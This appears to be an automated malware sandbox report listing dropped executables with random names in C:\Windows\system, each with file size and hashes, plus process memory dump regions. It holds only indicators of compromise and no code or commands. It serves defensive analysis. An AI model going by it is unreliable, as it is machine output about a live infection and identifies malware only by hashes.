a1afdab04fa567ef8f4250f27d1ad94c8229682dce3e6b38577956ff3bdc3cdaa8a9a0418c1fbbf4285de0c640f4fb9c9c43b88a47c78803661ecdafbf638624

Download Submit
C:\Windows\system\ZQdAwFj.exe

Filesize
2.9MB

MD5
4708e394b26fbf39b3b17e3b1bbb1f39

SHA1
3422e8fc94b89cb85452ace64f01f09adb670b17

SHA256
6028002afe642bd600b7e49c564687116bbb7335b2ddb9b52f64d465251ccff4

SHA512
03fa21b346228a224b4a0f1cef81e9e00fa9eb5c4e9d82d5297f36bb773e1335662e5bd7b55f5a9168c836a0087741cf254a39968f659648d4d76f621ca2da15

Download Submit
C:\Windows\system\ashFrWu.exe

Filesize
2.6MB

MD5
961fe65ca9d2373efe2604b4f2bc0dfd

SHA1
7002368d881c7cb62bb91352958c70f76950bcab

SHA256
5ccf33288a8630f8a981c41e87703aae336d97dad0c5cfb468a1a768bd23f5d8

SHA512
08570440bdf9ad500735d6ed62490fe4f64e24064771598164adbd5aa00a638916f598382249560eef66e064af178f1f27b902e5d01ccdc4016062ceb388c9c0

Download Submit
C:\Windows\system\bsGGJuL.exe

Filesize
2.9MB

MD5
4279724ea8d30ad68e6f995eac2bd3f7

SHA1
860bd2d79d65c18fac1e030543c252553b753b87

SHA256
0a743994266b71a065115d378bb8a20b554b7bd0b7ccb77753ee2dc814cf615a

SHA512
5b4635c1321fab51c20a3e345761eb5b36620d037146b16b9bc22efa46ff1a2b4acdcbb16b99d0ea6347967378ab2b9a59ce8d5597eea0ec310e64a83781ed66

Download Submit
C:\Windows\system\gtzvZMZ.exe

Filesize
2.9MB

MD5
7351110aec746c32a82ef4ce5f709dd1

SHA1
772cfcf9dd3641e92553effeef576593bf3eaaaa

SHA256
eb6a0d9e00f4df1cca0263496a4b3b8e6aded4a28feed6de7bcc450e0dbdf8d6

SHA512
20e4032bffc860efb1ade751958a311368895e9f1ef2eb63f1858adbf9a1d76f5e578b31b63eac0b7036d94b16323f77088476eafb7010263f6c97ab156500dc

Download Submit
C:\Windows\system\hyImIXU.exe

Filesize
2.9MB

MD5
cbafdcb48d327ef03f385a02e0984e0b

SHA1
97aeefe36814c4c5d645de8d6aab77e7891481b0

SHA256
bf6955b514ae543a82f00f888fcca63925f90cd2f33115d592db2cecfb503d94

SHA512
3ea9be8504202cfac74b760ea2bf4ab1f2bb882327293a13ac43f2e9be1678a7cdf09ac446f4ec78e877f26e014e64de5f8880b5e351617bc9a189ce7b104cc1

Download Submit
C:\Windows\system\jimCjRi.exe

Filesize
2.9MB

MD5
d1c444ecd51b972cc5330a7740fe6ef6

SHA1
8ce1eb9be3e1a6696e260c2e5f737c2b5cb91153

SHA256
180d5c8eb36ea3b05650eaa24f69a2f989b7647b8e53d6c38b7e12815173069e

SHA512
4028c13611ead292feaddd1eab0d78437338f31f003c9e8b0ea078e29f32f6131ebfb0485834ab85bea25bb4005fa33e29c23fe95ef286b719e70d574d837a48

Download Submit
C:\Windows\system\jmRvhEg.exe

Filesize
2.9MB

MD5
03ca022846f18109e6288faea1a8e82d

SHA1
0a1871641f0eb532a720633312ee398f80b45c27

SHA256
a73637478288fb0aa1616c348623700d14d94b1898efed3f16f75a279a709d1e

SHA512
d3e3f9f87e1abd7fcff3cf1fb7700df2b9309058ce825695c39ca6411a66c1e873f279bbd90ce535d702062c4fd865be1cfa1e1ab25aef05c5e9484d89be5547

Download Submit
C:\Windows\system\nSoRsiR.exe

Filesize
2.9MB

MD5
3fb5a75b32510cb740d9b3f63281f5a1

SHA1
222d52f6ebeb57f1036418866a9c7090c71a54f0

SHA256
dab499cff71f0fec9a8d7089fde078e5a1a6647c49134331f77cf09309b50da0

SHA512
eb4920130d51506a5b4817457d6fd83eca1c2747188f403e94f31505fa66e77115b4a17cb15e0871644521dbfd5da2ef09903fcca7b2378e729e9052a741852b

Download Submit
C:\Windows\system\oDyNGzd.exe

Filesize
2.9MB

MD5
580654a1294d727169a41698c322a4b3

SHA1
6ca49d7e0077c028d8bf5ba08eea86fe6c2906e1

SHA256
c088329d0239ec3b308bb11a56d589e999edb6d0e58c9e4da8bf298b5eaeac96

SHA512
0c06e4e53b9a23ed40dd11c0192a0fafad67d0201f661a36f3f1895b68417e9a6fa05b815b1ad3b3d53b70a4c019f1e6403afc3220518096243a20251b749249

Download Submit
C:\Windows\system\sTmuhxM.exe

Filesize
2.9MB

MD5
9aabac50b6c26ece2dc06a45364321e1

SHA1
3cbff9dc6a44608000647f9cf55f86f7e50fe947

SHA256
1907f789f0b044fcfe17ae92021a26d38fcd836da501fae83f9de8c6c1e4441d

SHA512
d2cbbaed9441bbf6ca4c4d1563f7249428a8c37bc318a504ebf7b1dfd66ce63e63046da6e14c524ba687d462dc8cbb189572ebb81b239dc5cf3f3944cfafaec6

Download Submit
C:\Windows\system\uMwwQCZ.exe

Filesize
2.9MB

MD5
0c68ffebbf2464409bbec4bdd34bf941

SHA1
be50216d4e6898c4eeba0b71b64a0ac8348d80e8

SHA256
b7e2f6d07c767e5348bfad615eb1ef55adc3730e2a91bb59346c173a65078be6

SHA512
278744a3f3775cf0c615fd75af06e3505a6f59a945472cf90b8352a5241bd8834fec66920e4cf8a6c976324cb742974387814fb8f75a87b5f94c517520e6f830

Download Submit
C:\Windows\system\vsOsHdg.exe

Filesize
2.4MB

MD5
c4c98d2d4f4c4801c870e854da8550d1

SHA1
bfe2bf476c2d62d8922f9f2d7b48fcb6cce9123c

SHA256
97aeec3b85a3cb6148b84ab22814429a11469cd5383df81220dec48bb3eb3f31

SHA512
1618499a3862809ce227ce3814753b7105b833c3ebbdcc111e1b27f70d2dc5cdd43c8ba1462d5292acad15f6f7e4c8bc3fca60b97c990aaaa9488f0685212ce3

Download Submit
C:\Windows\system\wMwlPxO.exe

Filesize
2.9MB

MD5
0bf4b5f477d361aa0cd20c465295e34d

SHA1
59f3c2d435d3dd694e5f362af3fadf6baed4132d

SHA256
c7caab26b7aca9499f44c83ceca9246bac9d4500ea0b23c8fc52df92b97f6a62

SHA512
7ef8cebc3f4b1d999513f1f1c8f53e927c8da6ccc139fd6feb6013c09ef07a83e4b663e090c36b5111f48e79fa09800587f56346ac6c56e16d3ee167eb610175

Download Submit
\Windows\system\CusBfHO.exe

Filesize
2.9MB

MD5
8d7b8872617992a70ddc4e17275f6dab

SHA1
abb1fdc6df46af940d9d7d47708801b63509ed30

SHA256
368cd772a10228ccc95bbd6b8523f39492a730852bc74cc8234eefc9140eaf23

SHA512
a1f32616808b6fe2866775cd3ba10b772b03cb8d8a4a58bf01e98f792c2054c3fd8905fc8566db1e845735dd8a69b129e4b4a329a0c71754f4c25652ee4a756a

Download Submit
\Windows\system\KtvgAoM.exe

Filesize
2.9MB

MD5
8074d91deb18a2dd6839b84681a7f561

SHA1
e695a881adf1291e261f6191e2bca414fd454ac0

SHA256
880d60361c2169aa920f644220ee54c4001cfad0ec20b16076207e5af40d8815

SHA512
fbb71161448136f8b6c4483710e96d3c5bc6c861b6708f539a707a534849aace2f84789e658f55161a373d21cec842369390a62011edb89d41968b9c5c082a0a

Download Submit
\Windows\system\MPynzTa.exe

Filesize
2.9MB

MD5
236347b333dbcaedc1287d0909f8ae73

SHA1
f6f075def3eadb49dd54105f1fc7c90f8b4d3f38

SHA256
13e84de8a0658347bfda9d29b0aacdd69be76589264103872cd68b1545697642

SHA512
26d8505616d12542b2cf107714a83550feaa66cac365176287cba8d9edddafbdeeb2256150a63f2e4667bf1dc9d1f5ec9e456d8581d89c8b907001a5436ebd29

Download Submit
\Windows\system\WUvMQwv.exe

Filesize
2.9MB

MD5
f44db714c510e63132f693c6a4edba97

SHA1
34d97f766e44b59b60136666f85f7ed97c823a30

SHA256
0a59b499a9efeca982384f0734c20cae30dcf517ec6f1a1ebce57a7559e732b6

SHA512
97aa2107553c7569c3c9c306e97bec26d6804cfdd9e00e64eef34615a19cbaff40734889ba81a5754aaab752034bd6769e3c9e62dd073e031a02319c5ef61342

Download Submit
\Windows\system\ashFrWu.exe

Filesize
1.6MB

MD5
a4691b8e216cd611961da759b17ddf59

SHA1
58ad5f80132b11e7448194f826277c3d74552e19

SHA256
b5b196c78d296637ec4ebd7e2de6fe4c02d677cdd9368770a826d2b95dbfd3f3

SHA512
cfd7205c2cdc9378023b28107a5d3c149d4c7311c329b24b35cce017085e62dfee07a6d0773fee431fa72fb19373098afe10237442d4338094e561d8f6b4189f

Download Submit
\Windows\system\giBdeSU.exe

Filesize
2.7MB

MD5
ed65027a7bd6e5c788a40a3aefa8dccd

SHA1
e110d8061f2df7273b2121d877c0aec8eee60547

SHA256
baea719141d760fb3b864701d9df8721bf1e09a225396da2f5c1e84b0bf4483e

SHA512
c17e0d18d45ed111714a8a24073e4b77c5ea9250409b45f4fb7091d97baeacae7fe2a291e4968db831764d3160ba16915a476b1b48f179e8b3335ff18209ac5d

Download Submit
\Windows\system\lYpStcP.exe

Filesize
1.1MB

MD5
153b8ae141907f468179073fca5869c3

SHA1
3112e61d0879026aeeb160ddac250777b2be012f

SHA256
34fe9f400a6e97af045befd3271d7b8978c50144a79249607bb5a255fa9f1858

SHA512
e7fa23204cfd27c43b1a4aeeacb5a5d77548b127049c3fd133d4b3f2f752681339bfc43cc119763bd7720b9c1380318f49ebd4ce780c0ff41e0adf54802ee494

Download Submit
\Windows\system\oDyNGzd.exe

Filesize
1024KB

MD5
ccd7e31144c9a6c08a27e3bedd8595da

SHA1
7552e10ef0c413d55dd4eb57ab8f205b233df64e

SHA256
255ed5e02f8a0c643044a2516cf5a6f7f24e4307347872f0b33f6db87e9350a6

SHA512
c8fdef843fe6cf141f6e4a77f992721adc0be2aef770fad32a257fa90c32a312d6a7ae40aaaae8be5de0cfadb869a45cd1688821f5fabf67cadbfdb854c24ff3

Download Submit
\Windows\system\rAThIeU.exe

Filesize
2.9MB

MD5
4428ddbd78daf9d36e2edbabd8506031

SHA1
acc3d5d40e00371f3e0f540da35f6c4b0291663e

SHA256
482646a711a3c5c77a8e16f5d0ddbdc89aefcbed4b3c01dd275d0965b6e38f3b

SHA512
55007e8e042b97e5c7f3abfb1b260a271a206a12e2755c8b84b53517bfdc39b06085f4ad20d3e8cc0bc551825a9d879d3bebfc8ae91338b1375abb2dfff3e34c

Download Submit
\Windows\system\wMwlPxO.exe

Filesize
2.8MB

MD5
9770ac45ab3079c9394342a9d91fa5da

SHA1
ae25c89cc5f7a12b5ebe51cf92d1db5fede6bca9

SHA256
b3f5e86a9c5179cea54281af1083a21308aa417f072120465ead56cfa52f7e21

SHA512
80250ab30318b7b423bed63638669131a8a49c0e3e1ae8428ff0a5c8f34f2a10af1fa2054c0b4ef302bb518041ef7895ab9c80dbaea66326e78527c21c6af867

Download Submit
\Windows\system\zLBHWue.exe

Filesize
2.9MB

MD5
45cd5f97eee2f46a8955213af9cbb3fa

SHA1
7080a840c0ce6bbe5c0171d820e875ad2bfeff05

SHA256
e03d9a627f6a887f5ce9e4e9451e68a3e648bde5a7e01ac8c96d85fdc2db61b1

SHA512
2fabb47a7d700a99441236edfea613dcce6dc68c0592384b311decace289a5c4ce2753d566248b2bb83a42ee7f7c23557106501538028dd3c4d373d74905a6b3

Download Submit
memory/1432-171-0x000000013F690000-0x000000013FA86000-memory.dmp

Filesize
4.0MB

Download
memory/1680-133-0x000000013F260000-0x000000013F656000-memory.dmp

Filesize
4.0MB

Download
memory/1808-5224-0x000000013F1D0000-0x000000013F5C6000-memory.dmp

Filesize
4.0MB

Download
memory/1808-163-0x000000013F1D0000-0x000000013F5C6000-memory.dmp

Filesize
4.0MB

Download
memory/1992-6-0x000000013F410000-0x000000013F806000-memory.dmp

Filesize
4.0MB

Download
memory/1992-17-0x00000000030D0000-0x00000000034C6000-memory.dmp

Filesize
4.0MB

Download
memory/1992-140-0x000000013F470000-0x000000013F866000-memory.dmp

Filesize
4.0MB

Download
memory/1992-136-0x000000013FEE0000-0x00000001402D6000-memory.dmp

Filesize
4.0MB

Download
memory/1992-142-0x00000000030D0000-0x00000000034C6000-memory.dmp

Filesize
4.0MB

Download
memory/1992-1-0x00000000000F0000-0x0000000000100000-memory.dmp

Filesize
64KB

Download
memory/1992-169-0x00000000037F0000-0x0000000003BE6000-memory.dmp

Filesize
4.0MB

Download
memory/1992-4377-0x000000013F1D0000-0x000000013F5C6000-memory.dmp

Filesize
4.0MB

Download
memory/1992-172-0x00000000030D0000-0x00000000034C6000-memory.dmp

Filesize
4.0MB

Download
memory/1992-164-0x00000000037F0000-0x0000000003BE6000-memory.dmp

Filesize
4.0MB

Download
memory/1992-0-0x000000013F890000-0x000000013FC86000-memory.dmp

Filesize
4.0MB

Download
memory/1992-4388-0x00000000037F0000-0x0000000003BE6000-memory.dmp

Filesize
4.0MB

Download
memory/1992-132-0x000000013F260000-0x000000013F656000-memory.dmp

Filesize
4.0MB

Download
memory/1992-2456-0x000000013F890000-0x000000013FC86000-memory.dmp

Filesize
4.0MB

Download
memory/1992-162-0x000000013F1D0000-0x000000013F5C6000-memory.dmp

Filesize
4.0MB

Download
memory/1992-134-0x000000013FCF0000-0x00000001400E6000-memory.dmp

Filesize
4.0MB

Download
memory/2156-16-0x000000013F410000-0x000000013F806000-memory.dmp

Filesize
4.0MB

Download
memory/2292-165-0x000000013F730000-0x000000013FB26000-memory.dmp

Filesize
4.0MB

Download
memory/2408-139-0x000000013FEE0000-0x00000001402D6000-memory.dmp

Filesize
4.0MB

Download
memory/2472-141-0x000000013F470000-0x000000013F866000-memory.dmp

Filesize
4.0MB

Download
memory/2472-5226-0x000000013F470000-0x000000013F866000-memory.dmp

Filesize
4.0MB

Download
memory/2484-131-0x000000013FB00000-0x000000013FEF6000-memory.dmp

Filesize
4.0MB

Download
memory/2484-5202-0x000000013FB00000-0x000000013FEF6000-memory.dmp

Filesize
4.0MB

Download
memory/2580-135-0x000000013FCF0000-0x00000001400E6000-memory.dmp

Filesize
4.0MB

Download
memory/2580-5222-0x000000013FCF0000-0x00000001400E6000-memory.dmp

Filesize
4.0MB

Download
memory/2600-22-0x000000013FAA0000-0x000000013FE96000-memory.dmp

Filesize
4.0MB

Download
memory/2600-5214-0x000000013FAA0000-0x000000013FE96000-memory.dmp

Filesize
4.0MB

Download
memory/2600-3358-0x000000013FAA0000-0x000000013FE96000-memory.dmp

Filesize
4.0MB

Download
memory/2788-146-0x000000013F5D0000-0x000000013F9C6000-memory.dmp

Filesize
4.0MB

Download
memory/2800-161-0x000000013FA70000-0x000000013FE66000-memory.dmp

Filesize
4.0MB

Download
memory/2900-23-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/2900-126-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-19-0x0000000002E00000-0x0000000002E80000-memory.dmp

Filesize
512KB

Download
memory/2900-20-0x0000000002E00000-0x0000000002E80000-memory.dmp

Filesize
512KB

Download
memory/2900-21-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/2900-24-0x000007FEF568E000-0x000007FEF568F000-memory.dmp

Filesize
4KB

Download
memory/2900-432-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

Filesize
9.6MB

Download